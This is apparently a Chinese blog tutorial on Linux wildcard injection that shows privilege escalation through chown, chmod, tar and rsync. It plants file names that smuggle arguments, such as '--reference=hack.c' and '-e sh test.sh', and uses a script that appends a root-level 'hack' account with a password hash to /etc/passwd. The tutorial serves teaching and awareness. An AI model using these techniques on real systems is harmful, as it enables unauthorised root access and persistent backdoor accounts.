LINUX Wildcards利用

一、有关通配符

wildcards指通配符,学过类 LINUX 系统的,应该都知道什么是通配符。直不知道也没关系,我这里列下几个常见的通配符:

*  代表任意多个字符
?  代表任意单个字符
[ ] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写
– 代表一个字符
~ 用户的根目录

其为什么会被利用?是由于Wildcard wildness(通配符在野)导致的。我们先看一个示例:

wildcard-wildness

你会发现使用如下方法都不成功:

cat  '--help'
cat  "--help"
cat "\-\-help"
cat \-\-help

同样,使用 rm 删除时也会存在这样的问题。由于我们在进行命令操作时经常会以“-” 后面接参数,所以这里就把这个值当参数了,就会造成异常。如果要处理这种文件可以有两种方法:

方法1:cat ./–help 可以正常查看;

方法2:find . -inum xxx 后面再通过exec或xargs参数进行处理。

二、chown 和 chmod 命令下的利用

1、chown

chown命令用于修改文件或目录的属主和属组。但在通查看其帮助信息时,会发现这样一个参数:–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)

假如我们目前有一个目录下有如下一些文件:

[root@361way mk]# ll
total 12
-rw-r--r-- 1 zabbix zabbix  71 Jan  4 15:58 myrand.c
-rw-r--r-- 1 zabbix zabbix 146 Jan  4 15:58 preload.c
-rw-r--r-- 1 zabbix zabbix 161 Jan  4 15:58 test.c

接下来有一个坏家伙叫kiosk的用户,在这个目录下创建了如下两个文件:

[root@361way mk]# ll
total 20
-rw-r--r-- 1 kiosk  kiosk    1 Jan  4 15:59 hack.c
-rw-r--r-- 1 zabbix zabbix  71 Jan  4 15:58 myrand.c
-rw-r--r-- 1 zabbix zabbix 146 Jan  4 15:58 preload.c
-rw-r--r-- 1 kiosk  kiosk    1 Jan  4 15:59 --reference=hack.c
-rw-r--r-- 1 zabbix zabbix 161 Jan  4 15:58 test.c

这两个文件里并没有内容,都是直接echo创建的。当我们使用root看到后,想让该目录下的所有文件全部修改为zabbix:zabbix ,但我们执行以后,奇怪的事情发生了:

chown-wildness

上面我们明明使用root把所有的文件赋权给了zabbix,结果事与愿违,所有的文件属主和属组都变成了坏家伙kiosk。是不是很神奇?原理是和上面cat –help是一样的。

2、chmod

同样查看chmod的帮助信息时,也会发现这样同样的参数:–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)

坏小子kiosk用户看到这个参数欣喜若狂,我们再看下神奇的事情:

[kiosk@361way mk]$ echo "">--reference=hack.c
[kiosk@361way mk]$ chmod 777 hack.c
[kiosk@361way mk]$ ll
total 20
-rwxrwxrwx 1 kiosk  kiosk    1 Jan  4 15:59 hack.c
-rw-r--r-- 1 zabbix zabbix  71 Jan  4 15:58 myrand.c
-rw-r--r-- 1 zabbix zabbix 146 Jan  4 15:58 preload.c
-rw-rw-r-- 1 kiosk  kiosk    1 Jan  4 16:14 --reference=hack.c
-rw-r--r-- 1 zabbix zabbix 161 Jan  4 15:58 test.c

root 用户为防止有人使坏,把这个目录下的所有文件的权限修改成了000,看下会发生什么:

chmod-wildness

是不是防不胜防,又被忽悠了。本来想回收权限,结果所有文件的权限都变成了777。如果坏小子刚好有权限在/bin这样的目录搞了上面这样两个空文件,并且把hack.c文件的权限设置成了4777,被root赋权操作后会发生什么?天啊,是不是不敢想想。

三、tar通配符注入

tar注入这个之前提到过,这里再提下,其主要利用的如下两个参数:

–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

我们可以将要执行的内容写在action后面,这里还是列下样图:

tar-privilege

四、rsync通配符提权

rsync提权使用的参数如下:

-e, --rsh=COMMAND           远程主机使用的shell
--rsync-path=PROGRAM    远程主机执行时去的路径

我们先搞下需要利用的脚本和相关文件:

[root@361way mk]# echo "echo 'hack:$1$sGg9xnlG$stAHxVHnZz16SctSEcXXC.:0:0::/root:/bin/bash'>>/etc/passwd" >test.sh
[root@361way mk]# cat test.sh
echo 'hack:$1$sGg9xnlG$stAHxVHnZz16SctSEcXXC.:0:0::/root:/bin/bash'>>/etc/passwd
[root@361way mk]# tail -1 /etc/passwd
zabbix:x:1003:1003::/home/zabbix:/bin/bash
[root@361way mk]# echo "">'-e sh test.sh'
[root@361way mk]# ll
total 20
-rw-r--r-- 1 root   root     1 Jan  4 16:39 -e sh test.sh
-rw-r--r-- 1 zabbix zabbix  71 Jan  4 16:40 myrand.c
-rw-r--r-- 1 zabbix zabbix 146 Jan  4 16:40 preload.c
-rw-r--r-- 1 zabbix zabbix 161 Jan  4 16:40 test.c
-rw-r--r-- 1 root   root    81 Jan  4 16:39 test.sh

这个利用起来和 tar一样,也是有条件的,如下:

rsync-wildness

跟tar的利用一样,直接使用绝对路径是不行的,在当前目录是可以提权的。

关于通配符提权就先到这里吧,参考如下文档:

https://www.exploit-db.com/papers/33930 (Back To The Future: Unix Wildcards Gone Wild)

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注